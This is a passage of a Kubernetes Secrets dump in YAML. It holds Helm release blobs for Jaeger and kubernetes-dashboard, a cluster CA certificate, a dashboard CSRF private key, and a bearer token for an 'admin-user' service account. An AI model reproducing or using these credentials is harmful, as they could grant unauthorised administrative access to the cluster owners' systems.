pacndMMXFzc0VQWnNmMVg5Z3dsdis1TDNtNy9yZnNMeFR6ZEZ5VmxqWjE4NkpZYld1VVRLTkhPNW9rSTN1dWNidU51WFRpMmxBUHRVZlpROCtCUnQ5VTlKMU9Zbk45QlZ0N2pHOUp1UEErbnJlRFI0L3Nvenlxanhpd1IyZmZ2WU5CUU9ZMGRpNjhnZVRqUU96UGM1WXUrZm54aDIvcFZubWZsdzNEZ0xIVVNSRXpxKzlid09Rbk1kN3luSE5YbmZpWFg3K09URDZZSUhNcU9xTzFaZ2VYeVMrMkhqVUVQSGo0L2pCc09IeHBGclZWK2RHTXZQQjl6OEsvZmMvR2xFN3cwVFBEL2RmMldlYTJNYWxOd1h4M1NOSnZVVy92QU1tVC9nc1p2b1V4Z1l6Rm0zVitacjRZQ21oOUh6Vk1DQy93Y29zcHJqZjQ3c0w1MFBWMTg2SDNYMFh6OHd6RGdJM09Sclh6cFgvMXVjd3ZHZDJGSGRlOU5WOTd5cEI3NFIzVjMxU3g2MzBGdzdnWkg5MkMzOUdEdWVHV3ppN05lU3lobHRkTjJNb3JtOU5pTTdjSTNFZlpDQlFuWGN6ZG9zL053OVM2QytCeHl1L3Q4cmEyMkdWeDlIVjErK2ZPbjhQd3YyeTVjdlg2TC8vSisvRUk2L2dhZC9HMkMxcVZ5RnlQQkdsU3NQRkMrT3lnTEQyOGJnRFJmTWFWeDQ4NWdzVEx3NEpnc0xieHlUUjRtWDFsYUlDbThlbGdXSkg5RUQwOW1BOUN6T0JYTkIwT0g4dkZYWG4xMUgrOXdnelZ6bnhkVDN1bHNteTNCdDhuRVFWaWl6Z1ZpTDVOcENyV0RVVlVheWhna0dPQkZRdnI1ME1wS016YlhuK1BDT2psNnJ1dm5jUm51NUhuaHMrNllYeHZ0N1ozMEg1ZWpGdVh6TFFHdlFGRFdnYXhWVXhVbWcvWnZIZDM0ZVg2YVRxWHJzYk0xN1V6VmN4emNMT01iT1VReFB3dmlkN3pvYnYzRFJsV2ZMRENkdU5DdWozbW93bjJ1eFZ6MlAvN29RLyt0Y2lNUFpsQjlEZDhqRmVHdWE3bjR3SHd4SDdIekV0ZUN2b3ZYbUk5K0VxRGM2NHlwT2hTZWZRc3BIWFo1MFBuUVNsdGk1d3o5MHdGS2pVTlhOemwyaStuZSsvWDhCQUFELy8vTGNzbkZ5WUFNQQ==
  kind: Secret
  metadata:
    creationTimestamp: "2025-10-19T15:15:43Z"
    labels:
      modifiedAt: "1760886944"
      name: jaeger
      owner: helm
      status: deployed
      version: "1"
    name: sh.helm.release.v1.jaeger.v1
    namespace: jaeger
    resourceVersion: "6810563"
    uid: 7b6c8edd-9ef8-4801-84dc-0954f933c233
  type: helm.sh/release.v1
- apiVersion: v1
  data:
    ca.crt: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSURCVENDQWUyZ0F3SUJBZ0lJTFlmWUZGUERIOVV3RFFZSktvWklodmNOQVFFTEJRQXdGVEVUTUJFR0ExVUUKQXhNS2EzVmlaWEp1WlhSbGN6QWVGdzB5TlRBNU1qRXhNVEEwTURWYUZ3MHpOVEE1TVRreE1UQTVNRFZhTUJVeApFekFSQmdOVkJBTVRDbXQxWW1WeWJtVjBaWE13Z2dFaU1BMEdDU3FHU0liM0RRRUJBUVVBQTRJQkR3QXdnZ0VLCkFvSUJBUUMvSURncDJ6YU5EMTNrMFRTQUNYemVrYVdVL20zbHJEMXJXR054ZDNZdHJUOGNKNWM3YWV6bkYvMVkKeHVIWTFDTlBXQ2FUSVpBWlpzQ1lGZUhlaEkwdm13cGdpQkh5SFA5dTBXaGphWkZBY3JOZVZnMnE1czdJdkpJbAppdGREMnZHcmZiczJnQ0dBdGZ6MzNXcWpTaXhaVGNBdWdkQkFuN3B3YzZNTTNQNWc4ZWdrR0x6Z3o0YkZGQWNPCko4ZVJZakFwQlZiYVVOMVorek4vYmxsQVpYem1IOHA0R1VNT1Zabnp4eUIrZWZpN3RxZ3RCUXg2dGtjUENURWIKNUFURnpCSlYySFJQcVV4NDNCdDlmWStWbHZucm0yaUFlRTJPTGhxRCs4VlJsZXVvSmxiWklLeVlLOWR1djd0ZQpqd29icHNvbC8zMmF3N29hYVMwSjR1RWlKR1k5QWdNQkFBR2pXVEJYTUE0R0ExVWREd0VCL3dRRUF3SUNwREFQCkJnTlZIUk1CQWY4RUJUQURBUUgvTUIwR0ExVWREZ1FXQkJRSitoaHFVWFdteXA4Q21iOTdkZE1yL2VaRmVEQVYKQmdOVkhSRUVEakFNZ2dwcmRXSmxjbTVsZEdWek1BMEdDU3FHU0liM0RRRUJDd1VBQTRJQkFRQVdOZE13WG8xKwo4TWtjR2R3bU1ZSVZWNXlvaTQySlZnYWNaVmdPMGdYaEJlV29USjRWL0FOcFVMZHo4WnNGeFpka0JXbE9zTXhqCnV2TTBDSndwa3Y5Z1pTNEVTb09Ua0VMZjVGTHdiY1AvN3dWazdiUlFBdTFmQnY0L0xXUXdFWnQ0QUY5RUlmcXMKWGp1UHpCb1l2b2wvQld0NjNRYlE5QnNxdHpVMVUzblZyL213dTJDS0ZqL0pMVFRrZWVZUlZwZENCVUkveUcvRgpleEpPZXJBeFpOcXRWeGVMdUk3MDRnRDRRdm04N09vQUp6WG53S2RwOXdZcDcvTGxOZTR5dFo1bDFJdDhqdldvClVCZXJrc2VQbGpsc2wrdmM3ajdCeDkyVGVITTR0bDNoVS8wRm1RWlZPVFA2bUQ1ZUNUSk5rbktXNWI5Uit6ZnEKZnlwWmFSZTg4S2tBCi0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0K
    namespace: a3ViZXJuZXRlcy1kYXNoYm9hcmQ=
    token: ZXlKaGJHY2lPaUpTVXpJMU5pSXNJbXRwWkNJNkluWTFRVGs1UVdKT01rNUJSRXBrZEVKU1RYQlhlVUpXTjFKU2RtVTVhRXczU25SS1MzaEVZa05DTWtraWZRLmV5SnBjM01pT2lKcmRXSmxjbTVsZEdWekwzTmxjblpwWTJWaFkyTnZkVzUwSWl3aWEzVmlaWEp1WlhSbGN5NXBieTl6WlhKMmFXTmxZV05qYjNWdWRDOXVZVzFsYzNCaFkyVWlPaUpyZFdKbGNtNWxkR1Z6TFdSaGMyaGliMkZ5WkNJc0ltdDFZbVZ5Ym1WMFpYTXVhVzh2YzJWeWRtbGpaV0ZqWTI5MWJuUXZjMlZqY21WMExtNWhiV1VpT2lKaFpHMXBiaTExYzJWeUxYUnZhMlZ1SWl3aWEzVmlaWEp1WlhSbGN5NXBieTl6WlhKMmFXTmxZV05qYjNWdWRDOXpaWEoyYVdObExXRmpZMjkxYm5RdWJtRnRaU0k2SW1Ga2JXbHVMWFZ6WlhJaUxDSnJkV0psY201bGRHVnpMbWx2TDNObGNuWnBZMlZoWTJOdmRXNTBMM05sY25acFkyVXRZV05qYjNWdWRDNTFhV1FpT2lJM05qZ3pNV05pTUMxa1pURTFMVFJtWlRjdFlqTmpaaTFpT0RJeU9XVmlNVEF4TkdRaUxDSnpkV0lpT2lKemVYTjBaVzA2YzJWeWRtbGpaV0ZqWTI5MWJuUTZhM1ZpWlhKdVpYUmxjeTFrWVhOb1ltOWhjbVE2WVdSdGFXNHRkWE5sY2lKOS5QbHdaTmNjVkZEdVhCMU5yR0JpZnpDQjhIOUFXWDlVMkI0Nnl0ZmxJV1NobUxGcktDYkVVcnFpRGtOMlZNLW1RbTJDbS1IWEhheGFheUx0RVIwRzduQ0VuYlFncmFtbWVVMEtOZTgxUF9oWjlLYlRNbjNadC0yQlRXNGd4TWtiYUdZVUFQamZXV3N3TDVOZ29uTFNBb3JMQ3RUcHM1WU9qSFRLUFdGRGlzcU83UGtjcFhuVHN3NXhHQmp1MDI5ckJOdnVrOWZvakdzdENna1RuY09CaGtlSUdDQ1ljN3hJVVF5NWRzREhsb2tLV3FJdlJsRXNXd24ySVZhcllUU0NvN2o5bTUyaEpIazlNRTBWQ0ZjejNta2pWaXYzSTY0X1lFZmRvRFI5SG92cUhRbG94MGxfdi03bzRFb2FnNzBkTHVIUG5adV92RFVfSmRralJEc2NzSVE=
  kind: Secret
  metadata:
    annotations:
      kubectl.kubernetes.io/last-applied-configuration: |
        {"apiVersion":"v1","kind":"Secret","metadata":{"annotations":{"kubernetes.io/service-account.name":"admin-user"},"name":"admin-user-token","namespace":"kubernetes-dashboard"},"type":"kubernetes.io/service-account-token"}
      kubernetes.io/service-account.name: admin-user
      kubernetes.io/service-account.uid: 76831cb0-de15-4fe7-b3cf-b8229eb1014d
    creationTimestamp: "2025-09-23T11:41:05Z"
    name: admin-user-token
    namespace: kubernetes-dashboard
    resourceVersion: "430082"
    uid: 5c39f91c-e2a3-4043-9f30-ce0244ff34c7
  type: kubernetes.io/service-account-token
- apiVersion: v1
  data:
    private.key: NGNacHBBbS9xSkhpOUNEL0tYMDVwcnB0NEcxQkJGbWVPT2VlUUtKSDdzcXBvbndteUpxMnBNWHMvdXdyZmpUR1g3N3g5QXJYcGtXZnlLRW5TbXRCWGxXOTRqTngxRGRXcE1DdHpBTkEvWDZFcFliOUh4emJNTUZmeXYydU9MRUxXSmNOd0QvSUd3a1p6V21JZ0I3c2lZb0RVVzlneVVwRjBmSkNSdWQ1SWN4bmhMZXRVcUd4MDdRYXY4L21pZThIV2FlWCtkZFgrT0xxZ1I1UEI5UGl3Y3pwTmxTTCtuKzVhTTRCV0NzZGh2cGlnM1ZJc1A3aEczc1lhanRBQ3RnWGhlZGhJZGpLMmkrWExYY1M3SmE5aWY2UlRjQW9sQ0ZFNUhDNFNUVVlpaTJZM3hDNDhDU3Q3MDZCcXlVMzRPSkJBS29OTmxTYWRHM0hWSXV4N3R5dXNnPT0=
  kind: Secret
  metadata:
    annotations:
      meta.helm.sh/release-name: kubernetes-dashboard
      meta.helm.sh/release-namespace: kubernetes-dashboard
    creationTimestamp: "2025-09-23T10:16:01Z"
    labels:
      app.kubernetes.io/instance: kubernetes-dashboard
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/part-of: kubernetes-dashboard
      helm.sh/chart: kubernetes-dashboard-7.13.0
    name: kubernetes-dashboard-csrf
    namespace: kubernetes-dashboard
    resourceVersion: "417218"
    uid: f82cb599-9955-48c6-ba67-8fa883f04e17
  type: Opaque
- apiVersion: v1
  data:
    release: SDRzSUFBQUFBQUFDLyt6OWU1T2lTclkvakw4VmYzNy8rVDNuVzFVTnFOMXRQekVSUnloRkxMWGFHN2ZaRXpzZ29RQk5MbHRBeFlsKzcwOWtKaUFvV2xaMTc5NjlaendSYzNZWEprbm15blg1ckxVeVYvNjc3bW11V2Y5U1g4VzZ1ZmJNeUF6dkRTMjBkVjliRy9XN3V1TzkrUFV2LzY2L09Pc3crdDB3QStnbnBsSC9VbWNvcG5WUHRlK1p4cHhtdnRBZnYxRDBBOVg0K1BuVHAwLzA1LzlMTVY4b3FuNVhoOXA3M2pKTWFFYTRQZjRqQkdzbmlCemZxMytwQzE0WWFSRFdnTzhHcUZIOXJoNUdXaFNIOVMvMS9EdDNkYytQVFBUb2YvN3MvL3ZOKzUvLytaL2ExMkczTSt2VzJHN3RhMmN1ZE1mekw3V25uSjYxeDR5ZU5WZExhcDVwR2pXdDltSnVhNjdqeGFoQjVOY3NNNnJGUVUzempKcHVBdDgxYTJ0VE01SmE5b2svZXhhL2VaenZXV3N0aXFHR1NCMysvMnFLSDlkc2JXUFdsbkVZMVJ4Q2VOT29ucG5qMVJJL1h0Y0FqTVBJWEQrZ0h1ZCtUUVBBREl2dDFySDM1VGV2VmtQc0JpSll1L2RxVlp4WEMveDFkUC9pcjdmb2ozQURQbFMxdWwvNW5uVWZyUDFkVXZ2Y2JEYStOSnNOOU9IeDg3ejdwU1o0TmFDRlpya3I0THN1SXJMaG0ySE44NlBhMWwrdjdtcXV0akpyWWJ3MmE1R3RSVFhVYnkwMDF4c0htRFVrSURVbnJBRi92VFpCOUlDR2ovNlBzMDJ3cWtXMm1iVU1FUlVxcVlPNkNBTU5tTFU0ZER6clM5YkY2M1JBZkJGdUFKclZvYnV0QTJGTk4ydmFSbk9ncGtPenBrVzRUenVLZ3ZETGh3L1FCeHEwL1RENjhqa2x5VzllL2R0ZEhkamFPa0xpN0pxUlptaVJodjU5V1FIWVB2NDE2OWx5SWp2V0g0RHZGbGJrUS9HRjBJL1hBQW5mUDY5KzZWOTM5WTI1RG9tRWYzcWdHdy9VaWVEenBtZXVOWGdmeE92QUQ4M2ExdFJyQzZIMjRxK0xKRS9aTDZ6ZjFWZG1zdlhYQmg3STRhdW8zK0ozWGMzeElzM3gwRHRmL3BrVHd6QkQ5SU9yclNQSHE5L1ZUVmR6WVAxTEhaUisrTit0c3paZHh6TWVYdGIxYjNmNTJ5L1FYNXVyc1BCZStFQ2V0ZW4vdGRBalJJdjZ0My9kMVIyQVo1ZFJhcTF0SHdpMTR0QmNBOStMVEM4NkpsemhuNjZHcHZzQitwYVAvOTlEdUxIcWQzVXRjTVNjb0JzR1VTUFd6Y09qMzJLS2Fwai9vQjhZK29HNko4UU9UTTh3UGVDWUpVSWdTYWdYbDRkNWFIN0V5N00yQXo5MEluK2RGTWFQR1N4OFFHL1pmK0JKM3RXQjd4bE91b3JvaHdmVFF6eUxlQ1g3MTVkb0hadmYvdlh0cmc1OXNFSk1hZUhsamdwR2c3Nm5LV1EwbU05Zkd1MEhwdFg0OVBuajUwOGYveTlGcDBiRHNjd3dRclMyTmFiMThjdUxScjFvbjE1ZVBwbE00eE5vR1Bybnp4VDlVV3Q5K2tRMURlcUZBZTJYVDRabXRqWFExcWttclRVWW1tYjBqOFpMby9YeTJXUWFGNGppZU5iYURNTjd6M0s4WFlrNnpRZWFPVStkdzhLbGkvemcrQi9LblJXNENKanI2TjdWUE0weTE2V1BiT2dIK3VNRDg4b2FMTTBvakRTd2VuRDhZcSt1R2EwZEVONGpuWFhVYndNTm5ubDk4UGVoWXhWblVPN3lRL0ZyMzgwK21Da2kwdzJnRnBVWElYLzRBYW43MlVPMGk3QndJNlZXZjNMOFAvN1MvMW40djlhaXUrdE54SEZQNkE1NlFvOWx4UzdzemVIa285Q05hTVVWRTkwVktWVWVXVk8rdDlmNHdVYVJCeXVCcDIxenhzYXFKSzRFdm11cHJ0Z1FlRHJRUGRMVzREOWJLaU5TUWwvY0Nud3ZWam5XVWFYeFJwY1dGbkJGVysydkxEUUc3cSttZ2VNL2NhdnhSbmVOUkpHbnRNNzNLRTFxeHlEcFdwTFVwZ1hldGcxM1lXbWV1RGM0TnRDOU1hVkl1MUNWSnRhc0lUcXFQSWhWZVFwQnduWVZlZXdyYnRzRzdzVFNwS1psU20wYU9PeFM3NHQ3Z3hlVG9SVjhNaE0yVUIwMjFoc1Q2NGxyU1lxMG8xVjVGT3V1RWVpZUZhdFN5MWJjSFZTNWxmVWlVMDhpLzlsU3BQRlNsY2Q3b1R1MUFXTTdPdE5MVkk1TkRLbjVrWE02bG9iR0lZMHBuZXRFdXNOK01wTk92SERGVUpWNmUzWFdlbFlrR29JR2F5dk1BdlZwQWI2ZEdCenQ2bzFCQTY5bGY4d29TYnZ5UGFGUHQ0ZFN0TkZkRUlIK1lHUDJWOWJ6NDRRYTdYMXEvRGg2NGxhdHIySjM4Vkhvd2xqZ3h6WmdGcWY5ODJqZGFWdDNKNWJLdHhHdDhQd05wcDFveWRiU3BkNWFuYkY3UXg1QW9ULzFGWGxpYVV3N1ZoTjJyOG9EUnBQR1VPQmJOdUlkVFI1WkN0Tk9nQ3N1RGE3NUpIQWRDLzF2d3RoUVlVTEw0RzBvOU1jUWVHcWdNT0plNEdGOG1ZOVJ2K0llOEwybE9tTnB3TUJZM2Z0NXZ3TEhyZzFwQUpYR05CUTRPaGI2MFNlQmE4MVVhUWNWZVF5SHE5TDc3WmNaNjZueXhBSU5kY2xaUVlrbkRBYUdPcEtER1dzYmJpL1ErWjZqOHd0TGtTZGtIZnRUQ3ZSSEg0ZEpPOVNac2EzejlnWTBKaDh4dmJlSWR5aExsVm9ydENiY2daY3dYWjk0MndaSng5SDU5bEtSZHI3ZUdGT0MwNGxGdHhjYWtyZ2Z1cjB0NEZvQjRuUEVTME1YOVQzZFA4MDZ2aXAzclNGVWJiMHZRcEMwYk5EdnhKclU4b0FyN2tGeWVHZkM3R3pRR0JPKzRBYUI3azBoY0Z1Mnp0R3h5c0RZNUlSQTRLekNOMXVlSnJXYVExZU1GV21BWkNiQVk0ZlRqY0QzbG1oOWp1VUdlR0w4YlBtWTluOCtYNmZqUTNySm15WTZzd3RWV2ZncC9KM0t1d1VZTVRGY2lIZ254dVBpNFI3MUJ6ekVjNU1ZOFFYbXcrN1lWNlh4R3IyUCtzcmtBaVJzb0R2c0VQRW9jRnZRNE1WalBSRVg2V1RJNDBCM3djZTgzM2ZRbWVqMU1hTnMvYWVTTFBXTlFPZTNsdUlpbmxadFRkcGhYU2J3UFFxdktXOVRScC9kUHp1Zk4wVStmVjVhbU5abUk0d0VYa1Myb3YweThkTy9vU3Z3N1VUZ2JLSXozODNuSyt1Sk55aUJzME5WYWw3aWQ5d25TRmJXYUVaME1MZmFiWFFtMmd2OEx0Q1lCZGJyQXQ5TDFCbTdVbVUyMUJzUTBmU2lQZENacHFYTTJLVWhqeW1kb1JDZlJJb0U0NmYrS0JoYXdVVG5SY3hiVmJ5Q2RSb1BZN1V4Z0tDQjlWK3N1dEF6NUlGdDhIQ2pPMndBRXBaUnBGMmdjczJqTlJuN2VrTU0xVlR2S013WWdzWTRJT3ZTam9VKzNCaXlVT3dUcWh5NzBobmExcVNtaitnQW1QWkdYNmJyMFIvWXVtdEFvV0M3RkpuZER0MThmTEhHdC9kR2Y0UnBkMWpEMXNiZ1VsM2pISzhmb2JQQWRhSWlqNWlOMEJvNmlCZU9kSjhYZlJyT1dJams3ZkNObkcvK1VjUjJCd0QydTIzQ3dGeUhEMUVBRHhoTVNOaEh2Y0cyZ0FzOXJUK3hSc3ZPYnB5d0M0MWZISzhuYThoVFgyOE05a1BMWDNMT3lKcnpjS2xLclQzQ0FvYlVXaUhkZ2RlcTI5c3EwaGpKNlFqSnFPNk40WkJqSlZVZTdCRzJFQjZGZU1SMWZOeVdHK1J0QkdmMUNmVkwrSXZnSzZ4SDVESG1CV1Q3VkJlRzZveUZKaitHb0U5d2hzSzBJOER2QWtWcUlUM1MwT1NwbitxSncvY3RmeW4wNE1hWXNaRWlyeXlkR1ZDSS94QjJVNWoyMXB5eEc5VmhLVFR2ZkY3SVRuWElYTEd1d0d2VFFmYXBZVFFBV25kYllXdzRkTnVKbXJURDdGc2dhWTltaTNGdkRzZTk0VnlJUjJrZm90UUtNWTdwRHlDUXhRQzRDRHNPV2dMZjIrTHhNOFFlNm55dmdXV2U3eUdaUlB4STZVVFBOWUFMS1NTclE0N2Q2NHhLR1VqSFRmeWx3RThEMEpnbW1qU2dEVjVjQ1gweFZua3hPYVlEMGE5SGJaRWM4TDFZNEFic0ltRUhpMFN3SnF2ZWZDYU9Ranh1Q2k1bTNiWW9jcXc4RVFlenlhSzFtQzNFdWRCdHo0VHUrT3Q4TlIySVhmaDFEa2ZXbkZLc3lhS2xDdDFvTUY5TlFvRVhBN1RPd0dHaDJXZXhUaUp6ZzNqTlZBbnArSkcxWUVSNE9sWjFBOUkxQVEwV0tneDBOV21FNkJPckRkRldtWVdsTW0wRzhTaWlpZEJuSVhEcEFNbTN6clQyR0hkM0VHMTJnUzVCU3BHbjVQa1oyZ3d0TE9PYko0ZGxOSW42aUhDVXdiR3VKdTJnMFlkYmRVNUhTSDloM3A3NzFwUFRUbVh6OHgvY1Ntd0NndlB4ZUhXM0Y2a0ZubElZMndZZW1xdS9PY2pzRktwSWI4dzZqbGFTTlhwVjBKMHg2VXV3aG5JdSt5dFZVbTFEMmxFQzEzclUrRjVpY0tsZEwySHFYcVF1TUgwU1RacENvYisxalA2QTF0MlJOVjZPckJlT3BZQUxvMFZEZEZVWE5nVk9pQVNuRTVWMUN2a2JmemZ4bnlhTkFWVGtLY1ErRHkrNmlpeUdpRWFHdEF2Tkdic3pwRjZvU1NwYVZ3dnB4UlMzeGh3MDBQb21odFJha3ZkN2xQQ29JRnZ2Sy9KZ0wvQURxREE5R3VNTHBvMW9WN2JwS2Y1VlhRaDFmcnBQN1Urb1NYUkErSDI2eVhURUU1SXBzclpkeEpPSURvUS94bHRWd3ZabW9EcHNrbUhZckc5a0F3eStGK2plS0Z1dmJCMERnMk1ibXJRTDBUaUZ2cmduOHhzaG00Ym5ucy96SGV1cmVtS29rL2NkZ2FOemZhOUpTdEZPNCsrY3JHbWgvYXR0Mzc3K0lWcVBBOTkxVm9RZW5ZOWYzOHVEUi9NcjBueVFyc01RRG1DS0IrSTUrZDVoVENlK3g0TE13eE5qSmVrd280VDlqUGhNaytpNUlhbXVKbHVXNEZBbHVxclNibC9xczg4bW10U2lWS2ZqRE9SUk5KQkhUdFYzc3ZHOS9YdXQxWFYvcC9ySENoNkJLOXJHUVc5a2ZJZ3h0dUdLQ1dBdzdyRkJnbnkyMUk0UW5sK1N0V0JEUlJwQW5XcytIZlFVaFdWV2sxckk3cTZMOGpXVWlwaTVsZlpSMGpsYjRNTFk0QlZMY01UOWNDYnVFZTZjcEhvdFhhZjhiL0V3eHMvWTN2RTdqSjhGSjNRRWJ2QWlPSVJ1U0I5Z1BVQjRNOURGTWEyNmFtQnlIV2RZMW5rWTcrQy9yVXpuWXI4RGZZUE10VDk2ejF5emQ3TTE4MVZwRncyOXNUOWtzRzZpbnJGUHdBYTZPdzROek1OWDBvNWdONEt2Uy9MZkN2U2tuY1pTV2t0a1N6RFdPK0g3aSs5SGl0U3lWVVpjRGFWQjYvblViNW5uc1FPRUdZbGZVQjYzQ3pmREJvdldLOUlaNVNQMjdYa1lLOHlPVnZtRkpiaWx1RUdrRm5EMTBNMzBWZk9BUWZ0R1lQRFdpVytCL0h3a2N4bDJSYnBha25xUnpuWGl5M2oyeVBZdzdVaEgrQkh4a2l1R3lEN3J2TGcwK0hZQ3R2NGZ3MGJKUGdhNis5b2NhTnZneC80OEcxK3Erd2llTDcwWGE5TG5qU2ExOWdiZml4Vm04YkU2RG9MOXc3UHZBOHdYOUVaZGt2WFdwTlpTNzR1cnErMy9zUzl3cEROMGhvNndueVcxWXIweEpiNlI5eTZac0hXM3RUSHlXR0JKRGdtK1B2Ri9lckh1dGdzWUsyOVA2VFMwZFduN3FpOXprTzNyeDRuNFMybU1FOVZCZnNnNFVlVkt2RlNsdS96cmVWMmxkWDVINGhOT0p4YTRsU1c0NHoxd0ZlY3N2MTdOZzBmK3VqZUdTbU1BRGE2VmZlOFZPMlZkelVkbG5ORzBubVlkUjJIRXhPaVBmdFE4bHFBeGNBdHpXS3Z5cW1RTFFSL0h6VnlCRzZBMVlSQVdITG9STkdlQzlTZU5nY0Y4V3VLSHpnb3c0aEs0SWpYUDhVekh2NWFPaE4veCtzZFpQd1Y5R0JUbk8raG40OENZS2RTWjl0cVFPNWJnS1R2QjZUaUw5SDNFVitkaVRua2YzUlFmSGZnNlVFOWpQMGdPYU9Rbm1qTkNpeGtqdHRJeGxXbWUyNTJ5dmtaek11UkJZUFJYUkxaV2FIM1l6d0l2TUdNZTRSNWt1M3UwM3BqQ2tnejNzWC9wa256SGdjWUNaL3VLUEI2cThxcElEMGZsZTVReUU0THEzMXNyUlo3YUZYeUMyZ2U2TzRWbTRSdERGK203cmlWNGJLTEpLc0pPc1libTdheFNlcFdmSDJ6NnRmMndsZmdSOGJQaDlpaDFobm1kMkFVY0k1cHlKdWFkVGpLZUt3Z3pPdVBsRkNMcy9jSWhQNmxOcGZiOUdreDR2YThvaVFqVEwwRkM3NVhHd0FhOG1CeDRzMG9PQlFnU0NpSWQvOFJkalhFTy9nVzJTNTBBNmFFQ0gwV3FqRER4ZUw5Z3hva2lzeEE0clVSbmRsRGc0SGZQMFdCRVoraU9ON3FyQmlwRjI1am41U21PaTREa0tyMzVJM1JueVFiaU1YbURqYzR2c0Y0RmpFZ1pPR1k1Y242QW5TT3hUUjd6V2FRejAvTDhDdkZGdlNGWVQ3eTRPN1hQOUliWXVXSy9XSllnbUozb0VQSU5EdkhQeW5tYXJZbzZ4MVVrR0FyY0lOV3I3S1pDQjVIM2Vab0dqUW1PaCt0TUN3cDgyeFY2VVpHdW9jRDN0cHBJVmRxZjc3SUZubXJyUEZ3UnZaSEZac2NEMEJqVHFqeVlLMHg3ZTRRUkRubEpFbSt2b2tzaHJnNzNvQ0VpdnQ2VHZwQStnL3MweitOY2sxY2lZeEZpd0l3M2dLd05WTjBlcmZmZisvNDROT1F4cGNvQ1hyTUREVlZiazdhVzRKRys4RHBjaWwvTDQ3MGhpY25RR3kvMUJudDJIVFAvZjhnVmNyd2N1OUxrTWNuaDlxNWIxK3A0TmZDOUY4ZjZZR21SdWRXU2gwUnpiMkhyVzlqNkZyWStGN2FPQ3RDclVuWG9VbnRGMUZRaFBlYXNTdHN3eUxhREZ0UmR0S2JpNm1sR1VwR0t6QVo1U0dmcFc4YXkrNlF4TUZZZmZXdVNwczdtVW0vTHVUUTArQjZHYmlUbFNWeDFrRzBwNkJOVmV5WE1LSVJtbWdnMklYcXRWS2xGQ1krVE5HWEdsbDNWOTMzbjFOMTFFTnh0WVhpb2V4TnJURkpyVmhybXpkei9ZN3F0a05vRGpmR2p6clJjVFFLeFVxQU5DY05nZUVtMk81QjNXcnEwL1NqMHQyVGN2YmFyTndhUklrOWZqQUs5aGVVb0huRkNPcmZEOW81c3F3QkpIYVpqNDN1MHdWdkZMUndrelV3Z0w2Vks5RmJIVU9KdGtPZEZwcUpqZHdIcDFnejJwQ25NN0p0YnZUR2ducDFPYy9UWTJSYlQ3YUEvMkJoOGU2a3oyNCtwYmlxK2wrZ05iTTVMS2ZyVCtka2puVEVDL1RELy9MdUtQUFZCYVF0TG9RK3VqU0ROeGxoMk56cmY5alNwZWRJTzZ4aVpmUUdJSHg1OVMzVjdJV0FXUiswb0VwS2QrNVlpaTVUV3hlN2dhVitvai83SlhQRC9oclBPQnNuVnNLSHNoZ3g2WDZWMEpvSzYwdzdQekcxdjlBY0I2TFh4SEo4ZEJNVjJlM1hpSC9WTHRqdzhPeXhlbjdtMCtJNXgwZkNrVFgrTVhJeXQzR0J0ZzdjK0luaUJYTDlEdXlKdDJLQzAxWUp2NzQxSDRuWWF2SWgwS1E1enZ5bjgwcWZiUTdrc2YzaThQNThQdDlya1hmejMzVHlYdTNuYk4zOC9kODIrWjEyUnUvTXoxclhvVnYyMGRlMFBObnBqOG1hWnVacWUxb243KzQrTEVEZzBvOGp4clBDR2dXOFkrSWFCcjhEQVY0Yy95UFkydDdmVlJCVUNEMzI3K1ZIb0t6dk9qUUxkblh3VXVvVXdVeWRBdXRQR1ljczUwcTk1MmpIVkNXeWExcjR5clhOSU84VkNmMnZweUFYbnhkamdPaFRHaWs3bk9KWHpydThjOVhFSlMyZTQ0VTA0OGNwd1hGekN2NWRTU2Q0WUd2MXBvTHZHZnVnYW9jNE1iRDNEMy8zRGI5azRkU3JZNjB5VFlQYXFzSFF4clhnbVJWa0kxOFdBaDdIdWlxdUZLKzcxaHBqZ2JkVHBlbFQ5OXRaeG5JWUMvM0ZHLzVPemtxN3BSZUVITFhCdSt2K20vMi82LzZ6K3orSVJVMTdjNm55N3BVdGliSFFDRy9BdzUxL2tFNEUrdTBlK3pjK1BWZVI5VnVtOVlPaW0zMDlTWGNkMUxLS3ppdHNscXUxRVpoUHl0RHA1ZG03cnlMdjBmR2tid296RzIwMks0WEZ0bHFaNFh2OCtVMWlQcW40Q1hlcDU2cXhGS1JJNDBJNC9zNFdGR1c5MG1kM29yaGhuUGtoSnYvT3JHTGp0a0tUYjBEcVh0eXBrTVpRVVAxeTVKZUJvdTRQeit0b1lES1EwN21TdVI3R25IN1AybVovMlovdlpXTGF4dkNEOXdDSTlhb1A5bVRYQVIzcGdyQ2F0UTl0c3Z2MEJORnlJZVdMR3c3M0J0eE56UVdUL0RJL3NGYVlYWW4zcW5YODN0OXVNR09JakhnMGh3MUNSSWsrWFd2ZEk1dC9NQnlkYmlJN1hpVG1zMHlVZUxzUVYrMU9veTJ5SXQ4bGUxamx2aklrVVpIMmV6cGMvMG9IRVJ6N0N0ZStoUzZiTFRtT3B6OXlCeDkrakU3TjNMc2hHczBUemZPejVFWWxEUDMvcGV1UXhpUitySnkvM3VkUVplcXN6TGJRV0ozSHNjMk9zOWtQUzMvRFJ3Mmh2U05RbWkzZWZicG0weVJZc3JyTWF3Z005aDZ1QkRSaHhvdUMxRnpiWk5neVF0Tk50UEhqcm1QTTBJMnNNR05zZUxSY01hSWhSNVJwWDRYdCtkZXdESGRPSzRQZkROclZyK0RYSDgybXNaNnRLQmJydytFaWRyVWt0Q0k3b1ZZalAvc24yTjU4ZjRaTzVid2xleFhxN01GSWtBeUk5Q3ZqMlhwT25HK0RoOVBISEtqMnVTVFRDYjdIQjl6ejBMZUVvVGsxK0Z5ZUd0QXNYUE1iV3JTcit4ZWwwd3IvYll0dUs4ZHNBK1hzbjhmQk9KSEJVaE9raWo1SGZBci9Lcnh4UG5aenBvMnJiakp6bFdSYmtHM1A2YmV0MWNTdE84NGdIWDlPREpYNktGWG5nbmVoRUlnT1d3YmRWUmFMRFV4emFUU3BvZTNTc3R0eWZLcldZU3JwbnNkTHVlTDVZcVM4elNsU3I0cUlHV1c4ZXVPMm9vaDhTVjAxbGZzYUlyWVVydXVmYXZUYys4Y3AydmROMUtQTHlZYXZZZDM2UGJIRWtXMkJQWS9ONTdPcVZkUWVGdU1QUUpSZ0hKSzBsNkM4cTUxSFFOZjA1UmJOU2o1M05xZkg4M1d0MStENnZTV0tvOWdaUVhmcG42WGRvdi9pWStYTHBlTSsrby9LUTBlVHhCdUM4WjljNWphdFg2T